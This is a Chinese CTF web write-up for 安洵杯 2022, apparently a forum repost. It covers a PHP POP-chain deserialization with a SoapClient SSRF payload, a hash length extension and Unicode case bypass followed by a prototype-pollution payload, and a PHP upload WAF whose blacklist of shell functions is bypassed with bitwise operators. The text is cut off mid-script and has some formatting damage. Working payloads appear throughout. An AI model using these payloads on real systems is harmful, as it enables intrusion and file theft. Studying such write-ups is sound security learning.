標題:安洵杯2022 Web Writeup

taibeihacker

Moderator

babyphp​

index.php:
?php
//something in flag.php
class A
{
public $a;
public $b;
public function __wakeup()
{
$this-a='babyhacker';
}
public function __invoke()
{
if (isset($this-a) $this-a==md5($this-a)) {
$this-b-uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this-b=$this-k;
die($this-a);
}
}
class C
{
public $a;
public $c;
public function __toString()
{
$cc=$this-c;
return $cc();
}
public function uwant()
{
if ($this-a=='phpinfo') {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this-a));
}
}
}
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess']=$_POST['sess'];
}
else{
session_start();
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php:
?php
session_start();
highlight_file(__FILE__);
//flag在根目錄下
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION['F1AG']=$f1ag;
}else{
echo 'only localhost!';
}
通過構造pop 鏈查看phpinfo 發現session.serialize_handler為php, 再結合flag.php 的源碼推測是利用session 反序列化SoapClient 來進行ssrf
思路就是先控制ini_set 的參數指定serialize_handler 為php_serialize, 傳參sess 為反序列化SoapClient 的payload, 然後去掉所有get post 參數訪問一次頁面觸發反序列化, 最後利用已知pop 鏈調用SoapClient __call 方法來觸發ssrf
ssrf 則先利用php 的原生類GlobIterator 來查找根目錄下以f 開頭的文件, 然後利用SplFileObject 讀取flag
pop 鏈payload:
?php
class A
{
public $a;
public $b;
}
class B
{
}
class C
{
public $a;
public $c;
}
$cc=new C();
$cc-a='xxxx';
$a=new A();
$a-a='0e215962017';
$a-b=$cc;
$c=new C();
$c-c=$a;
$b=new B();
$b-a=$c;
echo serialize($b);
ssrf payload:
?php
//$a=new SoapClient(null,array('location'='http://127.0.0.1/flag.php?a=GlobIteratorb=/f*', 'user_agent'='111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah', 'uri'='test'));
$a=new SoapClient(null,array('location'='http://127.0.0.1/flag.php?a=SplFileObjectb=/f1111llllllaagg', 'user_agent'='111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah', 'uri'='test'));
$b=serialize($a);
echo '|'.urlencode($b);
先利用GlobIterator
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

再利用SplFileObject
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

EZ_JS​

登錄界面隨便輸入賬號密碼, 之後會跳轉到/cookie 路由, 右鍵註釋jsfuck 解密提示輸入大寫
主頁右鍵註釋如下:
!--This secret is 7 characters long for security!
hash=md5(secret+'flag');//1946714cfa9deb70cc40bab32872f98a
admin cookie is md5(secret+urldecode('flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog'));
--
一眼哈希長度擴展攻擊
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

直接更改cookie hash 發現沒有用, 後來又將userid 置空, 出現報錯
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

結合之前的提示, 利用js 的大小寫特性:
'ı'.toUpperCase()=='I' //true
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

之後跳轉到/infoflllllag (靜態環境每30 分鐘重置, 所以截的是之前的圖)
var express=require('express');
var router=express.Router();
const isObject=obj=obj obj.constructor obj.constructor===Object;
const merge=(a, b)={
for (var attr in b) {
if (isObject(a[attr]) isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr]=b[attr];
}
}
return a
}
const clone=(a)={
return merge({}, a);
}
router.get('/', function(req, res, next) {
if(req.flag=='flag'){
//輸出flag;
res.send('flag??');
}
res.render('info');
});
router.post('/', express.json(),function(req, res) {
var str=req.body.id;
var obj=JSON.parse(str);
req.cookies.id=clone(obj);
res.render('info');
});
module.exports=router;
很明顯要通過原型鏈來污染req 的flag 屬性, payload 如下
id={'__proto__':+{'flag':+'flag'}}
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

之後轉get 訪問得到flag
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

靜態靶機的截圖
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload​

先上傳phpinfo
https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1, disable_functions 過濾了一堆, 不過file_get_contents()可用, 通過它讀取題目源碼
html
body
form method='POST' enctype='multipart/form-data'
這前端不美si你!
input type='file' name='upload_file' /
input type='submit' name='submit' value='submit' /
/form
/body
/html
?php
function waf($var): bool{
$blacklist=['\$_', 'eval','copy' ,'assert','usort','include', 'require', '$', '^', '~', '-', '%', '*','file','fopen','fwriter','fput','copy','curl','fread','fget','function_exists','dl','putenv','system','exec','shell_exec','passthru','proc_open','proc_close', 'proc_get_status','checkdnsrr','getmxrr','getservbyname','getservbyport', 'syslog','popen','show_source','highlight_file','`','chmod'];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return True;
}
return False;
}
error_reporting(0);
//設置上傳目錄
define('UPLOAD_PATH', './uploads');
$msg='Upload Success!';
if (isset($_POST['submit'])) {
$temp_file=$_FILES['upload_file']['tmp_name'];
$file_name=$_FILES['upload_file']['name'];
$ext=pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match('/php/i', strtolower($ext))){
die('俺不要圖片,熊大');
}
$content=file_get_contents($temp_file);
if(waf($content)){
die('哎呦你幹嘛,小黑子.');
}
$new_file_name=md5($file_name).'.'.$ext;
$img_path=UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload=true;
} else {
$msg='Upload Failed!';
die();
}
echo $msg.' '.$img_path;
位運算|沒有被過濾, 這里以|為例, 利用GlobIterator 查找flag
import re
preg='\*'
def convertToURL(s):
if s 16:
return '%0' + str(hex(s).replace('0x', ''))
else:
return '%' + str(hex(s).r
 
返回
上方